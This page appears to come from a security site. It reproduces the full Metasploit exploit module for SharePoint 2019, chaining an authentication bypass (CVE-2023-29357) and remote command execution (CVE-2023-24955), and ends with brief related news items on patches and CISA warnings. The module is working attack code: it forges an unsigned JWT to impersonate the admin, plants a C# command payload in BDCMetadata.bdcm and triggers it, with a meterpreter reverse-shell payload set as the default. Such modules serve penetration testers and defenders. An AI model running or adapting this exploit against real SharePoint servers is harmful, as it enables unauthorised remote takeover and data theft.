Headline
Sharepoint Dynamic Proxy Generator Remote Command Execution
This Metasploit module exploits two vulnerabilities in Sharepoint 2019 - an authentication bypass as noted in CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955 which was a remote command execution vulnerability patched in May of 2023. The authentication bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to exploit CVE-2023-24955. This authenticated remote command execution vulnerability leverages the impersonated privileged account to replace the /BusinessDataMetadataCatalog/BDCMetadata.bdcm file in the webroot directory with a payload. The payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'securerandom'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Sharepoint include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck class SharepointError < StandardError; end class SharepointInvalidResponseError < SharepointError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE', 'Description' => %q{ This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. }, 'Author' => [ 'Jang', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'], [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'], [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'], [ 'CVE', '2023-29357'], [ 'CVE', '2023-24955'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'Targets' => [ [ 'Windows Command', { 'Platform' => ['win'], 'Arch' => [ARCH_CMD], 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'WritableDir' => '%TEMP%', 'CmdStagerFlavor' => [ 'curl' ] } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-01', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) ]) end def resolve_target_hostname res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { # The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME' 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO' } }) if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase else raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header' end end def get_oauth_info(hostname) vprint_status('getting oauth info') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', 'HOST' => hostname } }) if res && res.headers['WWW-Authenticate'] raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ realm = Regexp.last_match(1) client_id = Regexp.last_match(2) print_status("realm: #{realm}, client_id: #{client_id}") return realm, client_id else raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info' end end def gen_endpoint_hash(url) Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) end def gen_app_proof_token jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end def send_get_request(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', 'headers' => @auth_headers }) end def send_json_request(url, data) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => @auth_headers, 'data' => data.to_json }) end def get_current_user res = send_get_request('/_api/web/currentuser') if res&.code != 200 raise SharepointInvalidResponseError, 'Failed to get current user' end res.body end def do_auth_bypass hostname = resolve_target_hostname hostname = hostname.split('.')[0] if hostname.include?('.') print_status("Discovered hostname is: #{hostname}") @realm, @client_id = get_oauth_info(hostname) print_status("Got Oauth Info: #{@realm}|#{@client_id}") @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) print_status("Lob id is: #{@lob_id}") token = gen_app_proof_token @auth_headers = { 'X-PROOF_TOKEN' => token, 'Authorization' => "Bearer #{token}", 'HOST' => hostname } user_info = get_current_user raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? user_info =~ %r{<d:LoginName>.+?\|(.+)\|.+?</d:LoginName>} raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) username = Regexp.last_match(1) if user_info.include?('true</d:IsSiteAdmin>') # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint print_status("Successfully impersonated Site Admin: #{username}") else raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.' end @auth_bypassed = true end def check version = sharepoint_get_version return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? print_status("Sharepoint version detected: #{version}") begin CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass rescue SharepointInvalidResponseError => e return CheckCode::Safe(e) end end def create_c_sharp_payload(cmd) class_name = Rex::Text.rand_text_alpha(rand(4..8)) c_sharp_payload = <<~EOF #{Rex::Text.rand_text_alpha(rand(4..8))}{ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ static #{class_name}(){ System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}"); } } } namespace #{Rex::Text.rand_text_alpha(rand(4..8))} EOF c_sharp_payload end def drop_and_execute_payload bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><Model xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\" xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"> <LobSystems> <LobSystem Name=\"#{@lob_id}\" Type=\"WebService\"> <Properties> <Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property> <Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\"> <![CDATA[#{create_c_sharp_payload(payload.encoded)}]]> </Property> <Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property> </Properties> <LobSystemInstances> <LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance> </LobSystemInstances> <Entities> <Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\"> <Properties> <Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property> </Properties> <Identifiers> <Identifier Name=\"ID\" TypeName=\"System.Int32\" /> </Identifiers> <Methods> <Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\"> <Parameters> <Parameter Name=\"@ID\" Direction=\"In\"> <TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" /> </Parameter> <Parameter Name=\"@CreateProduct\" Direction=\"Return\"> <TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor> </Parameter> </Parameters> <MethodInstances> <MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\"> <AccessControlList> <AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\"> <Right BdcRight=\"Execute\" /> </AccessControlEntry> </AccessControlList> </MethodInstance> </MethodInstances> </Method> </Methods> </Entity> </Entities> </LobSystem> </LobSystems></Model>" url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => bdcm_data }) fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 print_good('Payload has been successfully delivered') entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}" exec_cmd_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"#{entity_id}\" /><Identity Id=\"17\" Name=\"#{lob_system_instance}\" /></ObjectPaths></Request>" res2 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => exec_cmd_data }) fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 end def ensure_target_dir_present res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') @backup_bdc_metadata = '' if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') print_status('BDCMetadata file already present on the remote host, backing it up.') res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty? @backup_bdc_metadata = res_bdc_metadata.body store_bdcmetadata_loot(res_bdc_metadata.body) else print_warning('Failed to backup the existing BDCMetadata.bdcm file') end else body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } res_json = send_json_request('/_api/web/folders', body) if res_json&.code == 201 print_status('Created BDCM Folder') else fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') end end end def on_new_session(_session) url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => @backup_bdc_metadata }) if res&.code == 200 print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.') else print_error('BDCMetadata.bdcm restoration has failed.') end end def store_bdcmetadata_loot(data) file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") end def exploit # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass. unless @auth_bypassed begin do_auth_bypass rescue SharepointError => e fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}") end end # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up. ensure_target_dir_present drop_and_execute_payload endend
Related news
By Deeba Ahmed Critical Microsoft SharePoint Flaw Exploited: Patch Now, CISA Urges! This is a post from HackRead.com Read the original post: CISA Urges Patching Microsoft SharePoint Vulnerability (CVE-2023-24955)
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a critical security vulnerability impacting Microsoft SharePoint Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The issue, tracked as CVE-2023-29357 (CVSS score: 9.8), is a privilege escalation flaw that could be exploited by an attacker to gain
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a critical security vulnerability impacting Microsoft SharePoint Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The issue, tracked as CVE-2023-29357 (CVSS score: 9.8), is a privilege escalation flaw that could be exploited by an attacker to gain
A high-severity security flaw has been disclosed in the open-source OpenRefine data cleanup and transformation tool that could result in arbitrary code execution on affected systems. Tracked as CVE-2023-37476 (CVSS score: 7.8), the vulnerability is a Zip Slip vulnerability that could have adverse impacts when importing a specially crafted project in versions 3.7.3 and below. "Although OpenRefine
A high-severity security flaw has been disclosed in the open-source OpenRefine data cleanup and transformation tool that could result in arbitrary code execution on affected systems. Tracked as CVE-2023-37476 (CVSS score: 7.8), the vulnerability is a Zip Slip vulnerability that could have adverse impacts when importing a specially crafted project in versions 3.7.3 and below. "Although OpenRefine
Plus: Microsoft fixes 78 vulnerabilities, VMWare plugs a flaw already used in attacks, and more critical updates from June.
Hello everyone! This episode will be about Microsoft Patch Tuesday for June 2023, including vulnerabilities that were added between May and June Patch Tuesdays. As usual, I use my open source Vulristics project to analyse and prioritize vulnerabilities. I took the comments about the vulnerabilities from the Qualys, Tenable, Rapid7, ZDI Patch Tuesday reviews. This time there […]
The June 2023 Patch Tuesday security update included fixes for a bypass for two previously addressed issues in Microsoft Exchange and a critical elevation of privilege flaw in SharePoint Server.
Microsoft has rolled out fixes for its Windows operating system and other software components to remediate major security shortcomings as part of Patch Tuesday updates for June 2023. Of the 73 flaws, six are rated Critical, 63 are rated Important, two are rated Moderated, and one is rated Low in severity. This also includes three issues the tech giant addressed in its Chromium-based Edge browser
Categories: Exploits and vulnerabilities Categories: News Tags: Microsoft Tags: patch Tuesday Tags: CVE-2023-29357 Tags: CVE-2023-29363 Tags: CVE-2023-32014 Tags: CVE-2023-32015 Tags: CVE-2023-32013 Tags: CVE-2023-24897 Tags: CVE-2023-32031 Tags: SharePoint Tags: PGM Tags: Exchange Tags: Hyper-V Patch Tuesday of June 2023 is relatively relaxed. No actively exploited zero-days and only six critical vulnerabilities. (Read more...) The post Microsoft fixes six critical vulnerabilities in June Patch Tuesday appeared first on Malwarebytes Labs.
Microsoft SharePoint Server Elevation of Privilege Vulnerability
Microsoft Corp. today released software updates to fix dozens of security vulnerabilities in its Windows operating systems and other software. This month's relatively light patch load has another added bonus for system administrators everywhere: It appears to be the first Patch Tuesday since March 2022 that isn't marred by the active exploitation of a zero-day vulnerability in Microsoft's products.
For the first time in four months, none of the vulnerabilities Microsoft disclosed this Patch Tuesday have been exploited in the wild.
Hello everyone! This episode will be about Microsoft Patch Tuesday for May 2023, including vulnerabilities that were added between April and May Patch Tuesdays. As usual, I use my open source Vulristics project to analyse and prioritize vulnerabilities. I took the comments about the vulnerabilities from the Qualys, Tenable, Rapid7, ZDI Patch Tuesday reviews. It’s been a […]
Microsoft SharePoint Server Remote Code Execution Vulnerability
One of the vulnerabilities is being actively exploited in the wild, according to Microsoft, the fourth month in a row in which this is the case.
**How could an attacker exploit the vulnerability?** In a network-based attack, an authenticated attacker as a Site Owner could execute code remotely on the SharePoint Server.